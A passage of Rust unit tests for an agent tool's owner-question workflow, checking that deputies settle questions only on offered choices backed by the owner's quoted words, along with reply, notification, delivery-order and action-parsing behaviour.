3868 assert_eq!(t.note, None);
3869 }
3870
3871 #[test]
3872 fn a_quote_from_an_earlier_owner_message_does_not_settle_a_merge() {
3873 let mut q = approval_question();
3874 q.say("merge").unwrap();
3875 q.reply("sure?", vec!["merge".into(), "hold".into()])
3876 .unwrap();
3877 q.say("wait, hold off").unwrap();
3878 assert!(
3879 q.settle_by_deputy("deputy-x", "merge", "merge", None)
3880 .is_err()
3881 );
3882 assert_eq!(q.status, QuestionStatus::Open);
3883 }
3884
3885 #[test]
3886 fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
3887 let mut q = Question::new(
3888 "task".to_owned(),
3889 "conduct".to_owned(),
3890 "conduct".to_owned(),
3891 "Done?".to_owned(),
3892 String::new(),
3893 vec!["yes".to_owned(), "no".to_owned()],
3894 );
3895 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3896 seat.turns = 1;
3897 let mut dep = Deputy::new("brief".to_owned());
3898 dep.seat = Some(seat);
3899 q.deputy = Some(dep);
3900 q.say("setup done, go ahead").unwrap();
3901
3902 assert!(
3903 q.settle_by_deputy("someone-else", "yes", "setup done", None)
3904 .is_err()
3905 );
3906 assert!(
3907 q.settle_by_deputy("deputy-x", "maybe", "setup done", None)
3908 .is_err()
3909 );
3910 assert!(
3911 q.settle_by_deputy("deputy-x", "yes", "never said this", None)
3912 .is_err()
3913 );
3914 assert!(q.settle_by_deputy("deputy-x", "yes", " ", None).is_err());
3915 assert_eq!(q.status, QuestionStatus::Open);
3916
3917 q.settle_by_deputy("deputy-x", "yes", "setup done", None)
3918 .unwrap();
3919 assert_eq!(q.status, QuestionStatus::Answered);
3920 assert_eq!(q.resolution().as_deref(), Some("yes"));
3921 let last = q.thread.last().unwrap();
3922 assert_eq!(last.who, Who::Agent);
3923 assert!(
3924 last.body.contains("setup done"),
3925 "the quote stays on the record"
3926 );
3927 }
3928
3929 #[test]
3930 fn a_question_written_before_deputies_still_reads() {
3931 let mut q = Question::new(
3932 "task".to_owned(),
3933 "conduct".to_owned(),
3934 "conduct".to_owned(),
3935 "Done?".to_owned(),
3936 String::new(),
3937 Vec::new(),
3938 );
3939 q.schema = 4;
3940 let mut v = serde_json::to_value(&q).unwrap();
3941 v.as_object_mut().unwrap().remove("deputy");
3942 let back: Question = serde_json::from_value(v).unwrap();
3943 assert!(back.deputy.is_none());
3944 }
3945
3946 #[test]
3947 fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3948 let mut q = choice_question();
3949 q.say("does the cache need eviction?").unwrap();
3950 assert_eq!(q.thread.len(), 1);
3951 assert_eq!(q.thread[0].who, Who::Operator);
3952 assert_eq!(q.thread[0].body, "does the cache need eviction?");
3953 assert_eq!(q.status, QuestionStatus::Open);
3956 assert!(q.answer.is_none());
3957 assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3958 }
3959
3960 #[test]
3961 fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3962 let mut answered = choice_question();
3963 answered
3964 .answer(Answer::Choice("SQLite".to_owned()))
3965 .unwrap();
3966 let a = answered.say("still there?").unwrap_err().to_string();
3967 assert!(a.contains("already answered"), "{a}");
3968 let b = answered
3969 .reply("still there?", vec![])
3970 .unwrap_err()
3971 .to_string();
3972 assert!(b.contains("already answered"), "{b}");
3973
3974 let mut abandoned = choice_question();
3975 abandoned.abandon("timed out");
3976 let c = abandoned.say("hello?").unwrap_err().to_string();
3977 assert!(c.contains("abandoned"), "{c}");
3978
3979 let mut open = choice_question();
3980 let d = open.say(" ").unwrap_err().to_string();
3981 assert!(d.contains("empty"), "{d}");
3982 let e = open.reply(" \n", vec![]).unwrap_err().to_string();
3983 assert!(e.contains("empty"), "{e}");
3984 assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3985 }
3986
3987 #[test]
3988 fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3989 let mut q = choice_question();
3990 q.say("SQLite or Redis, but what about disk space?")
3991 .unwrap();
3992 assert!(q.waiting_on_agent());
3993
3994 q.reply(
3995 "SQLite: it is one file, no server to run.",
3996 vec!["SQLite".to_owned()],
3997 )
3998 .unwrap();
3999
4000 assert_eq!(q.choices, ["SQLite"]);
4001 assert!(
4002 !q.waiting_on_agent(),
4003 "the agent spoke, so the owner is the one being waited on now"
4004 );
4005 assert_eq!(q.thread.len(), 2);
4006 assert_eq!(q.thread[1].who, Who::Agent);
4007
4008 assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
4010 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4011 assert_eq!(q.resolution().as_deref(), Some("SQLite"));
4012 }
4013
4014 #[test]
4015 fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
4016 let mut fresh = choice_question();
4017 assert!(
4018 fresh.should_notify(Timestamp::now()),
4019 "nobody has been notified yet, so the first ask always pages"
4020 );
4021
4022 fresh.say("why not Postgres?").unwrap();
4023 let just_said = fresh.thread[0].at;
4024 assert!(
4025 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
4026 "still on the screen a minute later; no need to page again"
4027 );
4028 assert!(
4029 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
4030 "exactly the window: `>` means this side stays quiet"
4031 );
4032 assert!(
4033 fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
4034 "past the window: they may have walked away"
4035 );
4036 }
4037
4038 #[test]
4039 fn a_round_trip_of_turns_still_counts_as_one_open_question() {
4040 let (_dir, s) = store();
4041 let mut q = choice_question();
4042 s.put(&mut q).unwrap();
4043 q.say("why not Postgres?").unwrap();
4044 s.put(&mut q).unwrap();
4045 q.reply("no server to run", vec!["SQLite".to_owned()])
4046 .unwrap();
4047 s.put(&mut q).unwrap();
4048
4049 assert_eq!(
4050 s.count_open(),
4051 1,
4052 "one question that talked twice is still one open question"
4053 );
4054 assert_eq!(s.open_for(&q.run).len(), 1);
4055 }
4056
4057 #[tokio::test]
4058 async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
4059 let (dir, s) = store();
4060 let mut q = choice_question();
4061 let id = q.id.clone();
4062 let writer = Questions::at(dir.path().join("questions"));
4063 let handle = tokio::spawn(async move {
4064 tokio::time::sleep(Duration::from_millis(30)).await;
4065 let mut fresh = writer.get(&id).expect("the question was filed first");
4066 fresh.say("why not Postgres?").unwrap();
4067 writer.put(&mut fresh).unwrap();
4068 });
4069
4070 let got = wait_for_owner(
4071 &mut q,
4072 &s,
4073 &quiet(),
4074 Duration::from_secs(5),
4075 Duration::from_millis(10),
4076 )
4077 .await
4078 .unwrap();
4079
4080 handle.await.unwrap();
4081 assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
4082 assert_eq!(
4083 q.status,
4084 QuestionStatus::Open,
4085 "talking back is not a decision; the question stays open"
4086 );
4087 assert!(q.answer.is_none());
4088 }
4089
4090 #[test]
4091 fn a_say_that_lands_before_the_agents_reply_stays_unread() {
4092 let mut q = choice_question();
4093 q.say("A").unwrap();
4094 q.delivered_turns = q.thread.len();
4095 q.say("B").unwrap();
4096 q.reply("about A", vec![]).unwrap();
4097 assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
4098 q.delivered_turns = q.thread.len();
4099 assert_eq!(q.unread_from_owner(), None);
4100 }
4101
4102 #[test]
4103 fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
4104 let (_d, s) = store();
4105 let mut q = choice_question();
4106 s.put(&mut q).unwrap();
4107 q.say("first").unwrap();
4108 q.say("second").unwrap();
4109 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4110 s.put(&mut q).unwrap();
4111 assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
4112 let mut out = Vec::new();
4113 deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
4114 let shown = String::from_utf8(out).unwrap();
4115 let (a, b, c) = (
4116 shown.find("first").unwrap(),
4117 shown.find("second").unwrap(),
4118 shown.find("SQLite").unwrap(),
4119 );
4120 assert!(a < b && b < c, "{shown}");
4121 assert_eq!(q.delivered_turns, q.thread.len());
4122 assert!(q.answer_delivered);
4123 }
4124
4125 #[test]
4126 fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
4127 let mut q = choice_question();
4128 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4129 assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
4130 let mut q = choice_question();
4131 q.say("old").unwrap();
4132 q.delivered_turns = q.thread.len();
4133 q.say("new").unwrap();
4134 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4135 let shown = answer_for_agent(&q, "SQLite");
4136 assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
4137 }
4138
4139 #[test]
4140 fn reply_guidance_distinguishes_resume_actions_and_display_annotations() {
4141 let mut q = choice_question();
4142 q.choices = vec!["daemon: resume".into(), "daemon: hold".into()];
4143 q.actions.insert(
4144 q.choices[0].clone(),
4145 ChoiceAction::ResumeRun {
4146 run: "run-a".into(),
4147 },
4148 );
4149 q.actions.insert(q.choices[1].clone(), ChoiceAction::Hold);
4150 assert!(!q.reply_guidance().contains("accepted aliases: resume-run"));
4151 assert!(q.reply_guidance().contains("accepted aliases: keep-held"));
4152 assert!(
4153 q.resolve_reply("resume-run")
4154 .unwrap_err()
4155 .to_string()
4156 .contains("with offered choices")
4157 );
4158 assert_eq!(q.resolve_reply("daemon: resume").unwrap(), "daemon: resume");
4159 assert!(
4160 q.resolve_reply("daemon: resume [resume run run-a]")
4161 .is_err()
4162 );
4163 q.actions.insert(
4164 q.choices[0].clone(),
4165 ChoiceAction::Resume {
4166 run: "run-a".into(),
4167 },
4168 );
4169 assert!(q.reply_guidance().contains("accepted aliases: resume-run"));
4170 q.choices.push("another resume".into());
4171 q.actions.insert(
4172 "another resume".into(),
4173 ChoiceAction::Resume {
4174 run: "run-b".into(),
4175 },
4176 );
4177 assert!(!q.reply_guidance().contains("accepted aliases: resume-run"));
4178 }
4179
4180 #[test]
4181 fn recovery_aliases_require_a_unique_offered_structured_effect() {
4182 let mut q = choice_question();
4183 q.choices = vec!["daemon: 再開A".into(), "daemon: 再開B".into()];
4184 for (label, run) in [("daemon: 再開A", "run-a"), ("daemon: 再開B", "run-b")] {
4185 q.actions
4186 .insert(label.into(), ChoiceAction::Resume { run: run.into() });
4187 }
4188 assert!(
4189 q.resolve_reply("再開")
4190 .unwrap_err()
4191 .to_string()
4192 .contains("ambiguous")
4193 );
4194 assert_eq!(q.resolve_reply("resume:run-a").unwrap(), "daemon: 再開A");
4195 q.choices.remove(1);
4196 assert_eq!(q.resolve_reply("実行再開").unwrap(), "daemon: 再開A");
4197 assert!(q.resolve_reply("resume run-b").is_err());
4198 assert!(q.resolve_reply("保留").is_err());
4199 assert!(!ChoiceAction::Requeue.matches_alias("再キュー"));
4200 assert!(!ChoiceAction::Done.matches_alias("完了"));
4201 }
4202
4203 #[test]
4204 fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
4205 let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
4206 let ok = parse_actions(
4207 &[
4208 "resume で続行する=resume".to_owned(),
4209 "wait=done".to_owned(),
4210 ],
4211 &choices,
4212 "run-1",
4213 )
4214 .unwrap();
4215 assert_eq!(
4216 ok["resume で続行する"],
4217 ChoiceAction::Resume {
4218 run: "run-1".into()
4219 }
4220 );
4221 assert_eq!(ok["wait"], ChoiceAction::Done);
4222
4223 let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
4224 assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
4225 assert_eq!(
4226 ChoiceAction::parse("x=requeue", "").unwrap().1,
4227 ChoiceAction::Requeue
4228 );
4229
4230 assert_eq!(
4231 ChoiceAction::parse("x=hold", "").unwrap().1,
4232 ChoiceAction::Hold
4233 );
4234
4235 for bad in [
4236 "no-equals",
4237 "=done",
4238 "x=resume",
4239 "x=resume:",
4240 "x=explode",
4241 "x=done:1",
4242 ] {
4243 assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
4244 }
4245 assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
4246 assert!(
4247 parse_actions(
4248 &["wait=done".to_owned(), "wait=requeue".to_owned()],
4249 &choices,
4250 ""
4251 )
4252 .is_err()
4253 );
4254 }
4255
4256 #[test]
4257 fn only_a_chosen_label_with_an_action_is_actionable() {
4258 let mut q = choice_question();
4259 q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
4260 q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
4261 assert!(q.chosen_action().is_none(), "unanswered");
4262 q.answer(Answer::Choice("resume".to_owned())).unwrap();
4263 assert!(
4264 q.chosen_action().is_none(),
4265 "a label that merely reads like an action does nothing"
4266 );
4267
4268 let mut q2 = choice_question();
4269 q2.choices = vec!["SQLite".to_owned()];
4270 q2.actions
4271 .insert("SQLite".to_owned(), ChoiceAction::Requeue);
4272 q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4273 assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
4274 }
4275
4276 #[test]
4277 fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
4278 let mut q = choice_question();
4279 q.choices = vec!["A".to_owned(), "B".to_owned()];
4280 q.actions.insert("A".to_owned(), ChoiceAction::Done);
4281 q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
4282 q.reply("narrowing", vec!["B".to_owned()]).unwrap();
4283 assert_eq!(q.actions.len(), 1);
4284 assert!(q.actions.contains_key("B"));
4285
4286 let mut v = serde_json::to_value(&q).unwrap();
4287 v.as_object_mut().unwrap().remove("actions");
4288 let old: Question = serde_json::from_value(v).unwrap();
4289 assert!(old.actions.is_empty());
4290 }
4291}